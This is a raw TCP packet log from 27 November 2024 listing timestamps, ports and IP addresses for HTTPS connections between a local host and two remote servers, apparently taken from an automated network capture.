Nov 27, 2024 11:14:28.562835932 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.562943935 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.568212986 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.568237066 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.568280935 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.568293095 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.568331003 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.568346977 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.570542097 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.570559025 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.570652962 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.570662975 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.570719957 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.578370094 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.578443050 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.578461885 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.578516006 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.590040922 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.590148926 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.590162992 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.590620995 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.598970890 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.599157095 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.599164009 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.599226952 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.607426882 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.607541084 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.607548952 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.607803106 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.618941069 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.619051933 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.619067907 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.619122028 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.628530979 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.628551006 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.628607988 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.628623009 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.628726959 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.703918934 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.703958035 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.703993082 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.704008102 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.704036951 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.704057932 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.706527948 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.706587076 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.706614971 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.706629992 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.706664085 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.706687927 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.715936899 CET	443	49761	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.716018915 CET	443	49761	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.716099977 CET	49761	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.716418982 CET	49761	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.716438055 CET	443	49761	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.718214035 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.718251944 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.718310118 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.718322039 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.718368053 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.719321966 CET	49776	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.719367027 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.719394922 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.719410896 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.719490051 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.719497919 CET	49776	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.719497919 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.719544888 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.719790936 CET	49776	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.719805002 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.720190048 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.720216036 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.720256090 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.720263004 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.720289946 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.720326900 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.720375061 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.720427036 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.720470905 CET	49759	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.720576048 CET	49759	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.720588923 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.720618963 CET	49759	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.720624924 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.720988035 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.721036911 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.721352100 CET	49760	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.722182035 CET	49760	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.722191095 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.722203970 CET	49760	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.722208977 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.723761082 CET	49777	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.723793030 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.723858118 CET	49777	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.724248886 CET	49777	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.724261045 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.724509954 CET	49778	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.724522114 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.724602938 CET	49778	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.724700928 CET	49778	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.724704981 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.729325056 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.729389906 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.729409933 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.729501963 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.734092951 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.734112024 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.734155893 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.734164953 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.734222889 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.734999895 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.735021114 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.735091925 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.735104084 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.735132933 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.735161066 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.736084938 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.736104965 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.736176014 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.736186981 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.736207008 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.736295938 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.737417936 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.737502098 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.737510920 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.737677097 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.747349024 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.747432947 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.747441053 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.747488022 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.748081923 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.748100042 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.748152018 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.748164892 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.748210907 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.748574972 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.748590946 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.748634100 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.748641968 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.748684883 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.748684883 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.751878977 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.751898050 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.751936913 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.751951933 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.752001047 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.752022982 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.754688978 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.754810095 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.754818916 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.754858017 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.759392977 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.759408951 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.759529114 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.759536982 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.759619951 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.761748075 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.761826038 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.761836052 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.761883020 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.764139891 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.764161110 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.764226913 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.764235973 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.764275074 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.766541004 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.766561031 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.766609907 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.766623974 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.766649008 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.766669989 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.770003080 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.770020008 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.770106077 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.770106077 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.770113945 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.770168066 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.771126986 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.771202087 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.771209002 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.771501064 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.778400898 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.778506041 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.778512955 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.778567076 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.778856993 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.778873920 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.778925896 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.778934002 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.778958082 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.778976917 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.780127048 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.780143976 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.780230999 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.780244112 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.780282021 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.781368971 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.781384945 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.781430960 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.781439066 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.781476974 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.781486988 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.784898043 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.785307884 CET	49763	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.785322905 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.785584927 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.785681009 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.785691023 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.785852909 CET	49763	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.785861969 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.785885096 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.794384956 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.794403076 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.794481993 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.794496059 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.794536114 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.795185089 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.795289040 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.795296907 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.795440912 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.803524017 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.803591013 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.803601027 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.803857088 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.810437918 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.810518026 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.810532093 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.810602903 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.817601919 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.817711115 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.817718029 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.817930937 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.826994896 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.827116013 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.827121973 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.827316999 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.837112904 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.837131023 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.837205887 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.837219000 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.837362051 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.913067102 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.913089037 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.913214922 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.913228989 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.913431883 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.915440083 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.915481091 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.915519953 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.915541887 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.915570021 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.915594101 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.920665026 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.920685053 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.920763016 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.920763016 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.920769930 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.920838118 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.920931101 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.920953989 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.920996904 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.921015024 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.921030998 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.921046972 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.926871061 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.926887035 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.926932096 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.926943064 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.926975012 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.926996946 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.929599047 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.929711103 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.929721117 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.929776907 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.929795980 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.929852962 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.929861069 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.929872036 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.929876089 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.929980040 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.931689024 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.931705952 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.931749105 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.931761026 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.931788921 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.931802988 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.936924934 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.936939955 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.936943054 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.937064886 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.937064886 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.937072992 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.937076092 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.937104940 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.937180996 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.938646078 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.938679934 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.938744068 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.938751936 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.938781977 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.938817024 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.942243099 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.942260981 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.942337990 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.942349911 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.942399025 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.942410946 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.942466021 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.942472935 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.942552090 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.947292089 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.947310925 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.947361946 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.947370052 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.947413921 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.947413921 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.947572947 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.947679043 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.947685957 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.947962999 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.948620081 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.948636055 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.948673964 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.948685884 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.948724985 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.948745966 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.951342106 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.951358080 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.951416969 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.951426983 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.951457024 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.951472998 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.953131914 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.953150988 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.953254938 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.953263998 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.953324080 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.954307079 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.954399109 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.954406023 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.954519033 CET	49757	443	192.168.2.6	150.171.27.10
